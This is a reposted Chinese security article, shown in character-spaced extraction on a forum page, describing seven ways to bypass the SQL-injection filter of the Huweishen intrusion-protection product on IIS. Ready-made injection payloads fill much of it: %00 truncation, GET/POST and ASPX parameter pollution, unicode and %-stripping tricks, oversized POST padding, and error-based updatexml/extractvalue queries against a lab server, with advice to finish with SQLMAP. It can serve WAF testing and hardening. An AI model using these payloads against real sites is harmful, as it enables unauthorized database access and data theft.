搜索

[864] 2018-06-06_Bypass护卫神SQL注入防御（多姿势）

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-16
2018-06-06_Bypass护卫神SQL注入防御（多姿势） B y p a s s   护 卫 神 S Q L 注 入 防 御 （ 多 姿 势 ） 原 创   B y p a s s   B y p a s s   2 0 1 8 - 0 6 - 0 6 收 录 于 话 题   # W A F 攻 防 实 战 笔 记   , 9 个 0 x 0 0   前 言 前 言 　 　   护 卫 神 一 直 专 注 服 务 器 安 全 领 域 ，   其 中 有 一 款 产 品 ， 护 卫 神 · 入 侵 防 护 系 统   ， 提 供 了 一 些 网 站 安 全 防 护 的 功 能 ， 在 I I S 加 固 模 块 中 有 一 个 S Q L 防 注 入 功 能 。 这 边 主 要 分 享 一 下 几 种 思 路 ， B y p a s s   护 卫 神 S Q L 注 入 防 御 。 0 x 0 1   环 境 搭 建 环 境 搭 建 护 卫 神 官 网 ： h t t p : / / w w w . h u w e i s h e n . c o m 软 件 版 本 ： 护 卫 神 · 入 侵 防 护 系 统   V 3 . 8 . 1   最 新 版 本 下 载 地 址 ： h t t p : / / d o w n . h u w e i s h e n . c o m / h w s . z i p 测 试 环 境 ： I I S + A S P / A S P X + M S S Q L   I I S + P H P + M y S Q L 0 x 0 2   W A F 测 试 测 试 护 卫 神 S Q L 防 注 入 的 规 则 几 年 了 基 本 都 没 有 什 么 变 化 ， 先 来 一 张 拦 截 测 试 图 ：
姿 势 一 ： 姿 势 一 ： % 0 0 截 断 截 断 % 0 0 截 断 是 上 传 漏 洞 中 常 用 的 一 个 非 常 经 典 的 姿 势 ， 在 S Q L 注 入 中 ， 也 可 以 用 来 B y p a s s 。 在 W A F 层 ， 接 收 参 数 i d 后 ， 遇 到 % 0 0 截 断 ， 只 获 取 到   i d = 1 ， 无 法 获 取 到 后 面 的 有 害 参 数 输 入 ； 在 A S P X + M S S Q L 中 ， 支 持 % 0 0 来 代 替 空 白 字 符 ， 构 造 的 S Q L 语 句 得 以 成 功 执 行 ， 获 取 数 据 。 在 P H P + M y s q l 中 ， 可 以 用 ， 同 样 可 以 进 行 B y p a s s 。 姿 势 二 ： 姿 势 二 ： G E T + P O S T 当 同 时 提 交 G E T 、 P O S T 请 求 时 ， 进 入 P O S T 逻 辑 ， 而 忽 略 了 G E T 请 求 的 有 害 参 数 输 入 , 可 轻 易 B y p a s s 。 在 I I S + A S P / A S P X + M S S Q L   I I S + P H P + M y S Q L   均 适 用 。 h t t p : / / 1 9 2 . 1 6 8 . 2 0 4 . 1 3 2 / s q l . a s p x ? i d = 1 % 0 0 a n d   1 = 2   u n i o n   s e l e c t   1 , 2 , c o l u m n _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s / * % 0 0 * / h t t p : / / 1 9 2 . 1 6 8 . 2 0 4 . 1 3 2 / s q l . p h p ? i d = 1 / * % 0 0 * / u n i o n   s e l e c t   1 , s c h e m a _ n a m e , 3   f r o m   i n f o r m a t i o n _ s c h e m a . s c h e m a t a h t t p : / / 1 9 2 . 1 6 8 . 2 0 4 . 1 3 2 / s q l . a s p x ? i d = 1   a n d   1 = 2   u n i o n   s e l e c t   1 , c o l u m n _ n a m e , 3   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s P O S T ： a a a
姿 势 三 ： 姿 势 三 ： u n i c o d e 编 码 编 码 I I S 服 务 器 支 持 对 于 u n i c o d e 的 解 析 ， 对 关 键 词 进 行 u n i c o d e 编 码 绕 过 。 姿 势 四 ： 姿 势 四 ： A S P X + H P P 在 A S P X 中 ， 有 一 个 比 较 特 殊 的 H P P 特 性 ， 当 G E T / P O S T / C O O K I E 同 时 提 交 的 参 数 i d ， 服 务 端 接 收 参 数 i d 的 顺 序 G E T , P O S T , C O O K I E ， 中 间 通 过 逗 号 链 接   。 U N I O N 、 S E L E C T 、 两 个 关 键 字 拆 分 放 在 G E T / P O S T 的 位 置 ， 通 过 A S P X 的 这 个 特 性 连 起 来 ， 姿 势 利 用 有 点 局 限 ， 分 享 一 下 B y p a s s 思 路 。 h t t p : / / 1 9 2 . 1 6 8 . 2 0 4 . 1 3 2 / s q l . a s p x ? i d = 1   a n d   1 = 2   u n i o n   s % u 0 0 4 5 l e c t   1 , 2 , c o l u m n _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s h t t p : / / 1 9 2 . 1 6 8 . 2 0 4 . 1 3 2 / s q l . a s p x ? i d = 1   a n d   1 = 2   u n i o n / * P O S T ： i d = * / s e l e c t   1 , c o l u m n _ n a m e , 3   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s
姿 势 五 ： 姿 势 五 ： A S P   % 特 性 特 性 在 I I S + A S P 中 ， 当 我 们 输 入 u n % i o n ， 解 析 的 时 候 会 去 掉 % 号 ， 服 务 端 接 收 的 参 数 是 u n i o n 。 姿 势 六 ： 缓 冲 区 溢 出 姿 势 六 ： 缓 冲 区 溢 出 在 P H P + M y s q l 中 ， 使 用 P O S T   大 包 溢 出 的 思 路 可 成 功 B y p a s s 。 编 写 一 个 简 单 的 P y t h o n 脚 本 ， 当 A 的 个 数 填 充 到 4 9 0 9 9 时 ， 可 成 功 B y p a s s 。 h t t p : / / 1 9 2 . 1 6 8 . 2 0 4 . 1 3 2 / s q l . a s p ? i d = 1   a n d   1 = 2   u n % i o n   s e l e c t   1 , 2 , c o l u m n _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s h t t p : / / 1 9 2 . 1 6 8 . 2 0 4 . 1 3 2 / s q l . p h p P O S T : i d = 1   a n d   ( s e l e c t   1 ) = ( S e l e c t   0 x A * 4 9 0 9 9 )   u n i o n   s e l e c t   1 , s c h e m a _ n a m e , 3   f r o m   i n f o r m a t i o n _ s c h e m a . S C H E M A T A
姿 势 七 ： 黑 名 单 绕 过 姿 势 七 ： 黑 名 单 绕 过 护 士 神 S Q L 防 注 入 ， 采 用 的 是 黑 名 单 过 滤 ， 关 键 字 并 不 全 ， 比 如 只 过 滤 u n i o n   s e l e c t ， s e l e c t   f r o m 却 放 过 了 ， 那 么 这 里 就 存 在 很 多 种 绕 过 的 形 式 。 基 本 上 报 错 注 入 、 盲 注 、 延 迟 注 入 都 可 以 很 轻 易 B y p a s s ， 这 时 候 直 接 利 用 S Q L M A P ， 指 定 注 入 方 式 来 获 取 数 据 。 0 x 0 3   E N D 总 结 了 几 种 I I S 下 S Q L 注 入   B y p a s s 的 思 路 ， 在 实 战 中 也 很 常 见 。 欢 迎 分 享 本 文 ， 转 载 请 保 留 出 处 。 听 说 公 众 号 赞 赏 功 能 升 级 了 ， 我 也 来 试 试 。 喜 欢 这 篇 文 章 的 人 也 喜 欢   ·   ·   ·   ·   ·   · ▶       B y p a s s   3 6 0 主 机 卫 士 S Q L 注 入 防 御 （ 多 姿 势 ） ▶       B y p a s s   n g x _ l u a _ w a f   S Q L 注 入 防 御 （ 多 姿 势 ） B y p a s s A b o u t   M e 一 个 网 络 安 全 爱 好 者 ， 对 技 术 有 着 偏 执 狂 一 样 的 追 求 。 致 力 于 分 享 原 创 高 质 量 干 货 ， 包 括 但 不 限 于 ： 渗 透 测 试 、 W A F 绕 过 、 代 码 审 计 、 安 全 运 维 。 ? i d = 1   o r   ( s e l e c t   1   f r o m   ( s e l e c t   c o u n t ( ) , c o n c a t ( ( c o n c a t ( 0 x 5 e 5 e 2 1 , @ @ v e r s i o n , 0 x 2 1 5 e 5 e ) ) , f l o o r ( r a n d ( 0 ) 2 ) ) x   f r o m ? i d = 1   a n d   1 = ( u p d a t e x m l ( 1 , c o n c a t ( 0 x 3 a , ( s e l e c t   u s e r ( ) ) ) , 1 ) ) ? i d = 1   a n d   e x t r a c t v a l u e ( 1 ,   c o n c a t ( 0 x 5 c ,   ( s e l e c t   V E R S I O N ( )   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   l i m i t   1 ) ) )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理